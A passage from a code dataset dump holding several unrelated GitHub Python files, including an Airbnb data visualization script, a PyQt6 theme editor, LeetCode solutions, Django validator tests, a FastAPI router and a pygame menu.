df['area'].value_counts().reset_index()\nsns.barplot(\n    x='area', y='index', data=a,\n    label=\"Total Listings\", color=color[0])\n\na = df['area'][df['host_is_superhost'] == 1].value_counts().reset_index()\n\nsns.barplot(x=\"area\", y=\"index\", data=a,\n            label=\"Superhost Listings\", color=color[-1])\n\nax.legend(ncol=2, loc=\"best\", frameon=True)\nax.set(ylabel=\"\", xlabel=\"Airbnb Listings\")\nsns.despine(left=True, bottom=True)\nax.set_title(\"Number of Superhost Listings in Central Singapore\", fontsize=15, weight='bold')\nfor p in ax.patches:\n    ax.text(p.get_width()+23, p.get_height()/2 + p.get_y(), int(p.get_width()) ,ha=\"center\")\nplt.show()\nplt.close()\n\n# Correlation Price - Host Features ----------------------------------------------------------------------------\n\nf, ax = plt.subplots(figsize=(12, 10))\ncorr = df[host_features].corr(method= 'spearman')\nsns.heatmap(corr, cmap= cmap, annot=True, fmt=\".2f\")\nax.set_xticklabels(ax.get_xticklabels())\nplt.tight_layout()\nplt.subplots_adjust(bottom= .25)\nplt.show()\nplt.close()\n\n# Correlation Price - Listings Features ------------------------------------------------------------------------\nf, ax = plt.subplots(figsize=(12, 10))\ncorr = df[listings_features].corr(method= 'spearman')\nsns.heatmap(corr, cmap= cmap, annot=True, fmt=\".2f\")\nax.set_xticklabels(ax.get_xticklabels())\nplt.tight_layout()\nplt.subplots_adjust(bottom= .21)\nplt.show()\nplt.close()\n\n# save to csv\ndf.to_csv('data-airbnbsg_cleaned.csv', header=True, index=False)","repo_name":"nadsaf/Airbnb_PricePrediction","sub_path":"2.Visualization.py","file_name":"2.Visualization.py","file_ext":"py","file_size_in_byte":7656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"6671322024","text":"from PyQt6.QtWidgets import QWidget, QHBoxLayout, QVBoxLayout, QGridLayout, QPushButton, QLabel, QSizePolicy, \\\r\n    QStyleOptionButton, QStylePainter, QColorDialog, QMessageBox, QApplication, QFrame\r\nfrom PyQt6.QtGui import QColor, QPalette, QPainterPath, QPainter, QPen, QBrush, QLinearGradient, QRadialGradient\r\nfrom PyQt6.QtCore import Qt, QSettings, QPointF\r\n\r\nfrom CustomStyle import MyChangingPalette\r\nfrom DatabaseprojectGUI import MainWindow\r\nfrom UniversalFunctions import get_signal\r\nfrom MyWidgets import MyColorDialog\r\n\r\n\r\nclass EditThemes(QWidget):\r\n\r\n    def __init__(self, window):\r\n        super().__init__()\r\n        # Stored Variables\r\n        self.window = window\r\n\r\n        self.setWindowTitle(\"Themes\")\r\n        self.setFixedSize(900, 700)\r\n\r\n        self.cur_theme = None\r\n\r\n        self.temp_background = QColor()\r\n        self.temp_text = QColor()\r\n        self.temp_highlight = QColor()\r\n\r\n        # Font\r\n        font = QLabel().font()\r\n        font.setUnderline(True)\r\n\r\n        # labels\r\n        themes_label = QLabel(\"Themes:\")\r\n        themes_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n        themes_label.setFont(font)\r\n        dark_label = QLabel(\"Dark\")\r\n        dark_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n        light_label = QLabel(\"Light\")\r\n        light_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n        custom_themes_label = QLabel(\"Custom Themes:\")\r\n        custom_themes_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n        custom_themes_label.setFont(font)\r\n        color_options_label = QLabel(\"Color Options:\")\r\n        color_options_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n        color_options_label.setFont(font)\r\n        background_label = QLabel(\"Background\")\r\n        background_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n        text_label = QLabel(\"Text\")\r\n        text_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n        highlight_label = QLabel(\"Highlight\")\r\n        highlight_label.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n\r\n        # Palette and Preview Window\r\n        self.preview_palette = MyChangingPalette(preview=True)\r\n\r\n        self.window_preview = MainWindow()\r\n        self.window_preview.setAutoFillBackground(True)\r\n        self.window_preview.setFixedSize(600, 300)\r\n        self.window_preview.setDisabled(True)\r\n        self.window_preview.setPalette(self.preview_palette)\r\n\r\n        self.background_button = EditColorButton(self)\r\n        self.text_button = EditColorButton(self)\r\n        self.highlight_button = EditColorButton(self)\r\n\r\n        self.dark_theme = ThemeButton(self)\r\n        self.light_theme = ThemeButton(self, True)\r\n        self.custom_themes = [ThemeButton(self), ThemeButton(self), ThemeButton(self),\r\n                              ThemeButton(self, True), ThemeButton(self, True), ThemeButton(self, True)]\r\n\r\n        # Custom Color Dialog\r\n        self.dialog = MyColorDialog()\r\n        self.dialog.setOption(QColorDialog.ColorDialogOption.DontUseNativeDialog, True)\r\n\r\n        # Buttons\r\n        apply = QPushButton(\"&Apply\")\r\n        apply.setFixedWidth(108)\r\n        apply.pressed.connect(self.apply_palette)\r\n\r\n        cancel = QPushButton(\"Cancel\")\r\n        cancel.setFixedWidth(108)\r\n        cancel.pressed.connect(self.load_from_temps)\r\n\r\n        restore_defaults = QPushButton(\"&Reset Themes\")\r\n        restore_defaults.setFixedWidth(108)\r\n        restore_defaults.pressed.connect(self.load_default_themes)\r\n\r\n        # Reading Saved Themes\r\n        try:\r\n            self.readThemes()\r\n        except:\r\n            pass\r\n\r\n        # setting initial selection\r\n        self.dark_theme.set_preview()\r\n\r\n        # Spacer/Seperator Objects\r\n        self.spacer = QWidget()\r\n        self.spacer.setMaximumHeight(170)\r\n        self.spacer.setSizePolicy(QSizePolicy.Policy.Fixed, QSizePolicy.Policy.Expanding)\r\n\r\n        spacer = QWidget()\r\n        spacer.setFixedHeight(250)\r\n        spacer.setSizePolicy(QSizePolicy.Policy.Fixed, QSizePolicy.Policy.Expanding)\r\n\r\n        s = QWidget()\r\n        s.setFixedHeight(20)\r\n        s.setSizePolicy(QSizePolicy.Policy.Fixed, QSizePolicy.Policy.Expanding)\r\n\r\n        seperator = QFrame()\r\n        seperator.setFrameShape(QFrame.Shape.VLine)\r\n        seperator.setLineWidth(1)\r\n\r\n        # setting layouts in order of depth (top left to bottom right ish)\r\n        default_themes_layout = QGridLayout()\r\n        default_themes_layout.addWidget(dark_label, 1, 1)\r\n        default_themes_layout.addWidget(light_label, 1, 2)\r\n        default_themes_layout.addWidget(self.dark_theme, 2, 1)\r\n        default_themes_layout.addWidget(self.light_theme, 2, 2)\r\n\r\n        custom_themes_layout = QGridLayout()\r\n        for i, theme in enumerate(self.custom_themes):\r\n            custom_themes_layout.addWidget(theme, i // 3, i - 3 if i > 2 else i)\r\n\r\n        themes_layout = QVBoxLayout()\r\n        themes_layout.setAlignment(Qt.AlignmentFlag.AlignHCenter)\r\n        themes_layout.addWidget(self.spacer)\r\n        themes_layout.addWidget(themes_label)\r\n        themes_layout.addLayout(default_themes_layout)\r\n        themes_layout.addWidget(custom_themes_label)\r\n        themes_layout.addLayout(custom_themes_layout)\r\n        themes_layout.addWidget(s)\r\n        themes_layout.addWidget(restore_defaults)\r\n        themes_layout.setAlignment(restore_defaults, Qt.AlignmentFlag.AlignCenter)\r\n        themes_layout.addWidget(spacer)\r\n\r\n        colors_layout = QGridLayout()\r\n        colors_layout.setHorizontalSpacing(50)\r\n        colors_layout.setVerticalSpacing(8)\r\n        colors_layout.setAlignment(Qt.AlignmentFlag.AlignHCenter)\r\n        colors_layout.addWidget(background_label, 0, 1)\r\n        colors_layout.addWidget(text_label, 0, 2)\r\n        colors_layout.addWidget(highlight_label, 0, 3)\r\n        colors_layout.addWidget(self.background_button, 1, 1)\r\n        colors_layout.setAlignment(self.background_button, Qt.AlignmentFlag.AlignCenter)\r\n        colors_layout.addWidget(self.text_button, 1, 2)\r\n        colors_layout.setAlignment(self.text_button, Qt.AlignmentFlag.AlignCenter)\r\n        colors_layout.addWidget(self.highlight_button, 1, 3)\r\n        colors_layout.setAlignment(self.highlight_button, Qt.AlignmentFlag.AlignCenter)\r\n\r\n        button_layout = QHBoxLayout()\r\n        button_layout.addWidget(apply)\r\n        button_layout.addWidget(cancel)\r\n\r\n        value_layout = QVBoxLayout()\r\n        value_layout.addWidget(s)\r\n        value_layout.addWidget(self.dialog.color_shower)\r\n        value_layout.addWidget(s)\r\n        value_layout.addLayout(button_layout)\r\n\r\n        dialog_layout = QHBoxLayout()\r\n        dialog_layout.addWidget(self.dialog)\r\n        dialog_layout.setAlignment(self.dialog, Qt.AlignmentFlag.AlignBaseline)\r\n        dialog_layout.addLayout(value_layout)\r\n\r\n        preview_and_colors_layout = QVBoxLayout()\r\n        preview_and_colors_layout.setAlignment(Qt.AlignmentFlag.AlignTop)\r\n        preview_and_colors_layout.addWidget(self.window_preview)\r\n        preview_and_colors_layout.addWidget(color_options_label)\r\n        preview_and_colors_layout.addLayout(colors_layout)\r\n        preview_and_colors_layout.addLayout(dialog_layout)\r\n\r\n        layout = QHBoxLayout()\r\n        layout.addLayout(themes_layout)\r\n        layout.addWidget(spacer)\r\n        layout.addWidget(seperator)\r\n        layout.addLayout(preview_and_colors_layout)\r\n\r\n        self.setLayout(layout)\r\n\r\n    # Handles changing colors in preview and color options\r\n    def show_color_options(self, theme):\r\n        self.set_palette_colors(theme, self.preview_palette)\r\n        self.window_preview.table.horizontalHeader().sectionPressed.emit(0)\r\n\r\n        b, t, h = theme.getColors()\r\n\r\n        self.background_button.setTheme(theme, b)\r\n        self.text_button.setTheme(theme, t)\r\n        self.highlight_button.setTheme(theme, h)\r\n        # handling exception for default palettes\r\n        if theme in (self.dark_theme, self.light_theme):\r\n            self.dialog.blockSignals(True)\r\n        else:\r\n            self.dialog.blockSignals(False)\r\n        self.background_button.connectToDialog()\r\n        self.cur_theme = theme\r\n\r\n    def set_palette_colors(self, theme, palette):\r\n        palette.setShadeColors(theme.background_color)\r\n        palette.setBackgroundColors(theme.background_color)\r\n        palette.setHighlightColor(theme.highlight_color)\r\n        palette.setTextColor(theme.text_color)\r\n        self.window_preview.setPalette(self.preview_palette)\r\n\r\n    def apply_palette(self):\r\n        if self.window.current_database is not None and self.window.databases[self.window.current_database].skip is True:\r\n            self.window.databases[self.window.current_database].thread.quit()\r\n\r\n        if self.window_preview.current_database is not None and self.window_preview.databases[self.window_preview.current_database].skip is True:\r\n            self.window_preview.databases[self.window_preview.current_database].thread.quit()\r\n        settings = QSettings(r'settings.ini', QSettings.Format.IniFormat)\r\n        settings.beginGroup(\"themes\")\r\n        if self.window.databases[self.window.current_database].skip is True:\r\n            self.window.databases[self.window.current_database].thread.quit()\r\n        self.window.databases[self.window.current_database].thread = None\r\n        self.window.databases[self.window.current_database].worker = None\r\n        settings.setValue(\"palette\", [self.preview_palette.background, self.preview_palette.text,\r\n                                      self.preview_palette.highlight])\r\n        settings.endGroup()\r\n        self.set_palette_colors(self.cur_theme, self.preview_palette)\r\n        self.set_palette_colors(self.cur_theme, QApplication.style().changing_palette)\r\n        QApplication.style().update_palette()\r\n        self.window_preview.repaint()\r\n\r\n    def store_temps(self, theme):\r\n        for color, temp in zip(theme.getColors(), [self.temp_background, self.temp_text, self.temp_highlight]):\r\n            r, g, b, a = color.getRgb()\r\n            temp.setRgb(r, g, b, a)\r\n\r\n    def load_from_temps(self):\r\n        for color, temp in zip(self.cur_theme.getColors(), [self.temp_background, self.temp_text, self.temp_highlight]):\r\n            r, g, b, a = temp.getRgb()\r\n            color.setRgb(r, g, b, a)\r\n        self.show_color_options(self.cur_theme)\r\n        self.repaint()\r\n        self.apply_palette()\r\n\r\n    def saveThemes(self):\r\n        settings = QSettings(r'settings.ini', QSettings.Format.IniFormat)\r\n        settings.beginGroup(\"themes\")\r\n        settings.setValue(\"customthemes\", [[theme.background_color, theme.text_color, theme.highlight_color]\r\n                                           for theme in self.custom_themes])\r\n        settings.endGroup()\r\n\r\n    def readThemes(self):\r\n        settings = QSettings(r'settings.ini', QSettings.Format.IniFormat)\r\n        settings.beginGroup(\"themes\")\r\n        themes = settings.value(\"customthemes\")\r\n        for colors, theme in zip(themes, self.custom_themes):\r\n            r, g, b, a = colors[0].getRgb()\r\n            theme.background_color.setRgb(r, g, b, a)\r\n            theme.text_color = colors[1]\r\n            theme.highlight_color = colors[2]\r\n        settings.endGroup()\r\n\r\n    def load_default_themes(self):\r\n        if self.cur_theme:\r\n            ret = QMessageBox.question(self, \"Reset Themes\",\r\n                                       \"Would you like to reset themes to default?\",\r\n                                       QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.Cancel)\r\n            if ret == QMessageBox.StandardButton.Cancel:\r\n                return\r\n\r\n        for theme in self.custom_themes[:3]:\r\n            theme.set_dark()\r\n            theme.repaint()\r\n\r\n        for theme in self.custom_themes[3:]:\r\n            theme.set_light()\r\n            theme.repaint()\r\n\r\n        self.dark_theme.set_preview()\r\n\r\n    def closeEvent(self, event) -> None:\r\n        ret = QMessageBox.question(self, \"Save\",\r\n                                   \"Would you like to save themes before closing?\",\r\n                                   QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No |\r\n                                   QMessageBox.StandardButton.Cancel)\r\n        if ret == QMessageBox.StandardButton.Cancel:\r\n            event.ignore()\r\n            return\r\n        elif ret == QMessageBox.StandardButton.Yes:\r\n            self.saveThemes()\r\n        self.window.setEnabled(True)\r\n        event.accept()\r\n\r\n\r\nclass ColorButton(QPushButton):\r\n\r\n    def __init__(self, color=QColor(Qt.GlobalColor.black)):\r\n        super().__init__()\r\n        self.setFixedSize(50, 50)\r\n        self.check = False\r\n\r\n        self.button_color = color\r\n\r\n    def paintEvent(self, a0) -> None:\r\n        option = QStyleOptionButton()\r\n        self.initStyleOption(option)\r\n        painter = QStylePainter(self)\r\n\r\n        fill = QRadialGradient(QPointF(self.rect().center()), 25, QPointF(self.rect().center()))\r\n        fill.setColorAt(0.0, self.button_color)\r\n        fill.setColorAt(1.0, self.button_color.lighter(110))\r\n        path = self.draw_circle(option.rect)\r\n        path.setFillRule(Qt.FillRule.WindingFill)\r\n\r\n        painter.setRenderHint(QPainter.RenderHint.Antialiasing, True)\r\n        painter.fillPath(path, fill)\r\n\r\n        painter.save()\r\n        pen = QPen(Qt.GlobalColor.black, 2)\r\n        if self.check:\r\n            pen = QPen(Qt.GlobalColor.darkRed, 2)\r\n        painter.setPen(pen)\r\n        painter.drawPath(path)\r\n\r\n        painter.restore()\r\n\r\n    @staticmethod\r\n    def draw_circle(rect, highlight=False):\r\n        x1, y1, x2, y2 = rect.getRect()\r\n        radius = (x2 / 2) - 1.5\r\n        if highlight:\r\n            radius = (x2 / 2) - 3\r\n\r\n        path = QPainterPath()\r\n        path.addRoundedRect(x1 + 1, y1 + 1, x2 - 2, y2 - 2, radius, radius, Qt.SizeMode.RelativeSize)\r\n\r\n        return path\r\n\r\n\r\nclass ThemeButton(ColorButton):\r\n\r\n    def __init__(self, window, light=False):\r\n        self.win = window\r\n\r\n        self.background_color = QColor()\r\n        self.text_color = QColor()\r\n        self.highlight_color = QColor()\r\n\r\n        if light:\r\n            self.set_light()\r\n        else:\r\n            self.set_dark()\r\n        super().__init__(self.background_color)\r\n\r\n        self.clicked.connect(self.set_preview)\r\n\r\n    def set_light(self):\r\n        self.background_color.setRgb(240, 240, 250)\r\n        self.text_color.setRgb(0, 0, 0)\r\n        self.highlight_color.setRgb(0, 144, 238)\r\n\r\n    def set_dark(self):\r\n        self.background_color.setRgb(50, 50, 58)\r\n        self.text_color.setRgb(240, 238, 243)\r\n        self.highlight_color.setRgb(70, 80, 180)\r\n\r\n    def set_preview(self):\r\n        for button in self.win.custom_themes + [self.win.dark_theme, self.win.light_theme]:  # changes visual drawn\r\n            button.check = False\r\n            button.repaint()\r\n        self.check = True\r\n        self.repaint()\r\n        self.win.store_temps(self)\r\n        self.win.show_color_options(self)\r\n\r\n    def getColors(self):\r\n        return self.background_color, self.text_color, self.highlight_color\r\n\r\n\r\nclass EditColorButton(ColorButton):\r\n\r\n    def __init__(self, window):\r\n        super().__init__()\r\n        self.win = window\r\n        self.clicked.connect(self.connectToDialog)\r\n        self.cur_theme = None\r\n\r\n    def set_color(self, color):\r\n        r, g, b, a = color.getRgb()\r\n        self.button_color.setRgb(r, g, b, a)\r\n        self.repaint()\r\n        self.cur_theme.repaint()\r\n        self.win.set_palette_colors(self.cur_theme, self.win.preview_palette)\r\n\r\n    def setTheme(self, theme, color):\r\n        self.cur_theme = theme\r\n        self.button_color = color\r\n        self.repaint()\r\n\r\n    def connectToDialog(self):\r\n        for button in [self.win.background_button, self.win.text_button, self.win.highlight_button]:  # changes visual\r\n            button.check = False\r\n            button.repaint()\r\n        self.check = True\r\n        self.repaint()\r\n        if self.win.dialog.isSignalConnected(get_signal(self.win.dialog, \"currentColorChanged\")):\r\n            self.win.dialog.currentColorChanged.disconnect()\r\n        self.test()\r\n        self.win.dialog.setCurrentColor(self.button_color)\r\n\r\n    def test(self):\r\n        self.win.dialog.currentColorChanged.connect(self.set_color)\r\n","repo_name":"tgcarpenter/Database-Project","sub_path":"ThemesWidgets.py","file_name":"ThemesWidgets.py","file_ext":"py","file_size_in_byte":16272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"43915232821","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def kthSmallest(self, root: Optional[TreeNode], k: int) -> int:\n        \n        ans = -1\n        \n        def inorder(node):\n            nonlocal k\n            if not node or k == 0:\n                return\n            \n            inorder(node.left)\n            k -= 1\n            nonlocal ans\n            if k == 0: ans = node.val\n            inorder(node.right)\n        \n        inorder(root)\n        return ans\n","repo_name":"robinsdeepak/leetcode","sub_path":"230-kth-smallest-element-in-a-bst/230-kth-smallest-element-in-a-bst.py","file_name":"230-kth-smallest-element-in-a-bst.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"8522854403","text":"\"\"\"Module to describe an atomic structure.\"\"\"\nimport json\nfrom jarvis.db.figshare import get_jid_data\nfrom jarvis.core.atoms import Atoms\nfrom jarvis.analysis.structure.spacegroup import Spacegroup3D\nfrom jarvis.analysis.diffraction.xrd import XRD\nfrom jarvis.core.specie import Specie\nimport pprint\nfrom collections import defaultdict\n\n\ndef atoms_describer(\n    atoms=[], xrd_peaks=5, xrd_round=1, cutoff=4, take_n_bomds=2\n):\n    \"\"\"Describe an atomic structure.\"\"\"\n    spg = Spacegroup3D(atoms)\n    theta, d_hkls, intens = XRD().simulate(atoms=(atoms))\n    #     x = atoms.atomwise_angle_and_radial_distribution()\n    #     bond_distances = {}\n    #     for i, j in x[-1][\"different_bond\"].items():\n    #         bond_distances[i.replace(\"_\", \"-\")] = \", \".join(\n    #             map(str, (sorted(list(set([round(jj, 2) for jj in j])))))\n    #         )\n    dists = defaultdict(list)\n    elements = atoms.elements\n    for i in atoms.get_all_neighbors(r=cutoff):\n        for j in i:\n            key = \"-\".join(sorted([elements[j[0]], elements[j[1]]]))\n            dists[key].append(j[2])\n    bond_distances = {}\n    for i, j in dists.items():\n        dist = sorted(set([round(k, 2) for k in j]))\n        if len(dist) >= take_n_bomds:\n            dist = dist[0:take_n_bomds]\n        bond_distances[i] = \", \".join(map(str, dist))\n    fracs = {}\n    for i, j in (atoms.composition.atomic_fraction).items():\n        fracs[i] = round(j, 3)\n    info = {}\n    chem_info = {\n        \"atomic_formula\": atoms.composition.reduced_formula,\n        \"prototype\": atoms.composition.prototype,\n        \"molecular_weight\": round(atoms.composition.weight / 2, 2),\n        \"atomic_fraction\": json.dumps(fracs),\n        \"atomic_X\": \", \".join(\n            map(str, [Specie(s).X for s in atoms.uniq_species])\n        ),\n        \"atomic_Z\": \", \".join(\n            map(str, [Specie(s).Z for s in atoms.uniq_species])\n        ),\n    }\n    struct_info = {\n        \"lattice_parameters\": \", \".join(\n            map(str, [round(j, 2) for j in atoms.lattice.abc])\n        ),\n        \"lattice_angles\": \", \".join(\n            map(str, [round(j, 2) for j in atoms.lattice.angles])\n        ),\n        \"spg_number\": spg.space_group_number,\n        \"spg_symbol\": spg.space_group_symbol,\n        \"top_k_xrd_peaks\": \", \".join(\n            map(\n                str,\n                sorted(list(set([round(i, xrd_round) for i in theta])))[\n                    0:xrd_peaks\n                ],\n            )\n        ),\n        \"density\": round(atoms.density, 3),\n        \"crystal_system\": spg.crystal_system,\n        \"point_group\": spg.point_group_symbol,\n        \"wyckoff\": \", \".join(list(set(spg._dataset[\"wyckoffs\"]))),\n        \"bond_distances\": bond_distances,\n        \"natoms_primitive\": spg.primitive_atoms.num_atoms,\n        \"natoms_conventional\": spg.conventional_standard_structure.num_atoms,\n    }\n    info[\"chemical_info\"] = chem_info\n    info[\"structure_info\"] = struct_info\n    return info\n\n\nif __name__ == \"__main__\":\n    atoms = Atoms.from_dict(\n        get_jid_data(jid=\"JVASP-32\", dataset=\"dft_3d\")[\"atoms\"]\n    )\n    info = atoms_describer(atoms=atoms)\n    pprint.pprint(info)\n    from pygments import highlight\n    from pygments.formatters.terminal256 import Terminal256Formatter\n    from pygments.lexers.web import JsonLexer\n\n    raw_json = json.dumps(info, indent=4)\n    colorful = highlight(\n        raw_json,\n        lexer=JsonLexer(),\n        formatter=Terminal256Formatter(),\n    )\n    print(colorful)\n","repo_name":"usnistgov/chemnlp","sub_path":"chemnlp/utils/describe.py","file_name":"describe.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"36"}
{"seq_id":"27053398129","text":"import pytest\nfrom removeDuplicates import Solution\n\n\n@pytest.mark.parametrize(\"nums,expected\", [\n    ([1, 2, 2, 3], [1, 2, 2, 3]),\n    ([1, 1, 1, 2, 2, 3], [1, 1, 2, 2, 3]),\n    ([1, 1, 1, 2, 2, 3, 3, 3, 3], [1, 1, 2, 2, 3, 3]),\n    ([0, 0, 1, 1, 1, 1, 2, 3, 3], [0, 0, 1, 1, 2, 3, 3])\n])\ndef test_removeDuplicates(nums, expected):\n    length = Solution().removeDuplicates(nums)\n    assert nums == expected\n    assert len(nums) == length\n","repo_name":"ikedaosushi/leetcode","sub_path":"problems/python/tests/test_removeDuplicates.py","file_name":"test_removeDuplicates.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"20494984543","text":"'''\nModule to define transformations on dataframes\n'''\nimport pyspark.sql.functions as F\n\n\ndef transform_data(input_df):\n    ''' This function takes a dataframe as input and returns a transformed\n    dataframe'''\n    transformed_df = (input_df\n                      .groupBy('Location',)\n                      .agg(F.sum('ItemCount').alias('TotalItemCount')))\n    return transformed_df\n","repo_name":"jdocampo/pyspark-poetry","sub_path":"etlframework/etlframework/transformations.py","file_name":"transformations.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"28897188684","text":"from typing import List\nfrom fastapi import APIRouter\n\nfrom schemas.season import Season\n\nrouter = APIRouter()\n\n\n@router.get(\"/seasons\", response_model=List[Season])\nasync def get_seasons():\n    return True\n\n\n@router.post(\"/seasons\")\nasync def create_season(season: Season):\n    db[\"seasons\"].append(season)\n    return True\n\n\n@router.get(\"/seasons/{id}\")\nasync def get_season():\n    return True\n\n\n@router.get(\"/seasons/{id}/episodes\")\nasync def get_episodes_from_season():\n    return True\n","repo_name":"faraday-academy/fast-api-bob-ross","sub_path":"api/seasons.py","file_name":"seasons.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"}
{"seq_id":"35658702678","text":"\"\"\"The services tests module.\"\"\"\nimport pytest\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.db.models.query import QuerySet\n\nfrom communication.models import Review, ReviewComment\nfrom communication.validators import (validate_message_parent,\n                                      validate_message_recipient,\n                                      validate_reminder_remind_before,\n                                      validate_review_comment_user,\n                                      validate_review_user)\nfrom users.models import User\n\npytestmark = pytest.mark.django_db\n\n\ndef test_validate_reminder_remind_before():\n    \"\"\"Should validate remind_before field.\"\"\"\n    step: int = settings.D8B_REMINDER_INTERVAL\n    with pytest.raises(ValidationError):\n        validate_reminder_remind_before(int(step * 1.5))\n    validate_reminder_remind_before(step * 3)\n\n\ndef test_validate_review_comment_user(admin: User, reviews: QuerySet):\n    \"\"\"Should validate the review comment user.\"\"\"\n    comment = ReviewComment()\n    comment.user = admin\n    comment.review = reviews.exclude(professional__user=admin).first()\n\n    with pytest.raises(ValidationError):\n        validate_review_comment_user(comment)\n\n\ndef test_validate_review_user(admin: User, professionals: QuerySet):\n    \"\"\"Should validate the review user.\"\"\"\n    review = Review()\n    review.user = admin\n    review.professional = professionals.filter(user=admin).first()\n    review.rating = 3  # type: ignore\n    review.description = \"description\"\n\n    with pytest.raises(ValidationError):\n        validate_review_user(review)\n\n\ndef test_validate_message_recipient(admin: User, messages: QuerySet):\n    \"\"\"Should mark the message read.\"\"\"\n    message = messages.filter(sender=admin).first()\n    validate_message_recipient(message)\n    message.recipient = admin\n    with pytest.raises(ValidationError):\n        validate_message_recipient(message)\n\n\ndef test_validate_parent(admin: User, messages: QuerySet):\n    \"\"\"Should validate the message parent message.\"\"\"\n    messages = messages.filter(sender=admin)\n    message = messages[0]\n    message.parent = messages[1]\n    with pytest.raises(ValidationError):\n        validate_message_parent(message)\n    message.is_read = True\n    with pytest.raises(ValidationError):\n        validate_message_parent(message)\n    message.parent = messages.filter(recipient=admin).first()\n    validate_message_parent(message)\n","repo_name":"webmalc/d8base-backend","sub_path":"communication/tests/validators_tests.py","file_name":"validators_tests.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"33029502219","text":"import pygame\nfrom pygame.locals import *\n\nimport const\n\nclass LineC():\n    def lf(self):\n        Line.pos += const.LINEHEIGHT\n\n    def menu_lf(self):\n        Line.pos += const.MENUHEIGHT\n\n    def output(self, text, color, font, lf):\n        label = font.render(text, True, color)\n        text_rect = label.get_rect(midtop=const.SCREENRECT.midtop)\n        text_rect.move_ip(0,Line.pos)\n        self.screen.blit(label,text_rect)\n        lf()\n\n\n    def big(self, text, color = (0,0,0,255)):\n        self.output(text, color, const.font.other, self.menu_lf)\n\n    def small(self, text, color = (0,0,0,255)):\n        self.output(text, color, const.font.small, self.lf)\n\n\nLine = LineC()\n\n\nclass MenuEntry(pygame.sprite.Sprite):\n    def __init__(self,label,result,width):\n        pygame.sprite.Sprite.__init__(self,self.containers)\n\n        self.image = pygame.Surface((width,const.MENUHEIGHT),flags=SRCALPHA).convert_alpha()\n        self.image.fill((255, 255, 255, 0))\n\n        self.rect = self.image.get_rect(midtop=const.SCREENRECT.midtop)\n\n\n        self.label = const.font.menu.render(label, True, (0,0,0,255))\n        self.label_rect = self.label.get_rect(center=self.rect.center)\n\n        self.rect.move_ip(0,Line.pos)\n\n        Line.menu_lf()\n\n        self.result   = result\n\n        self.prev = MenuEntry.prev\n        MenuEntry.prev = self\n        if self.prev:\n            self.prev.next = self\n        self.next = None\n\n    def update(self,selected):\n        if selected:\n            alpha = 125\n        else:\n            alpha = 0\n        self.image.fill((0, 0, 0, alpha))\n        self.image.blit(self.label, self.label_rect)\n\ndef menu(screen):\n    background = pygame.Surface(screen.get_size()).convert()\n    # imgbg = load_image('background-menu.png')\n    background.fill((250, 250, 250))\n    #background.blit(imgbg,(0,0))\n    screen.blit(background, (0,0))\n    pygame.display.flip()\n\n    # Groups of sprite\n    entries = pygame.sprite.Group()\n    selected_entry = pygame.sprite.GroupSingle()\n    visible = pygame.sprite.RenderUpdates()\n\n    MenuEntry.containers = visible, entries\n    MenuEntry.prev = None\n    Line.pos = 0\n    Line.screen = screen\n\n    Line.lf()\n    Line.big(\"Move Them\",color = (22,22,90))\n    Line.small(\"You are alone\")\n    Line.small(\"They want you\")\n    Line.small(\"And this is not a cannon you have\")\n    Line.lf()\n    Line.lf()\n    Line.lf()\n    Line.small(\"Use arrow key to control, space to lock\")\n    Line.small(\"or a pad (A to lock)\")\n    Line.lf()\n\n    pygame.display.flip()\n\n    selected_entry.add(MenuEntry(\"Play\",'play',screen.get_width()))\n    MenuEntry(\"Highscore\",'score',screen.get_width())\n    MenuEntry(\"Quit\",'quit',screen.get_width())\n\n    # a clock\n    clock = pygame.time.Clock()\n\n    def noop(): pass\n    def next():\n        if selected_entry.sprite.next:\n            selected_entry.add(selected_entry.sprite.next)\n    def prev():\n        if selected_entry.sprite.prev:\n            selected_entry.add(selected_entry.sprite.prev)\n\n\n    while True:\n        nextaction = noop\n        for event in pygame.event.get():\n            if event.type == QUIT or \\\n                (event.type == KEYDOWN and event.key == K_ESCAPE):\n                return 'quit'\n            elif event.type == KEYDOWN and event.key == K_RETURN:\n                return selected_entry.sprite.result\n            elif event.type == KEYDOWN and event.key == K_UP:\n                nextaction = prev\n            elif event.type == KEYDOWN and event.key == K_DOWN:\n                nextaction = next\n            elif event.type == JOYAXISMOTION and event.joy == 0 and event.axis == 1:\n                if event.value > 0.5:\n                    nextaction = next\n                elif event.value < -0.5:\n                    nextaction = prev\n            elif event.type == JOYBUTTONDOWN and event.joy == 0 and event.button == 0:\n                return selected_entry.sprite.result\n            elif event.type == JOYBUTTONDOWN and event.joy == 0 and (event.button == 2 or event.button == 6):\n                return 'quit'\n\n        nextaction()\n\n        visible.clear(screen, background)\n\n        visible.update(False)\n\n        selected_entry.update(True)\n\n        dirty = visible.draw(screen)\n        pygame.display.update(dirty)\n\n        #cap the framerate\n        